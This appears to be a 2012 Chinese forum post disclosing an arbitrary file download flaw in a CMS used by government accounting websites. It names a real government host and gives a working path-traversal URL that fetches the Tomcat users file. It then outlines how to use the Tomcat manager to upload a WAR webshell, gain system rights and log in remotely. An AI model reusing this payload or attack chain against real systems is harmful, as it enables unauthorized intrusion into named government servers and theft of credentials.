政府会计网使用cms漏洞

POLARBEAR 周一七月 30, 2012 5:34 am

一批政府会计网使用cms存在任意文件下载漏洞，直接可以下载tomcat配置文件，使用tomcat的管理功能，直接上传war获得jsp webshell，系统权限，直接登录主机（虽然主机修改3389端口为3399，不影响登录

声明:没有修改任何东西，没有做任何破坏，不要找我...
h t t p ://www.ahngacc.gov.cn/addcontent/webEditor/upload/files/file_down.jsp?filename=../../../../../../../../conf/tomcat-users.xml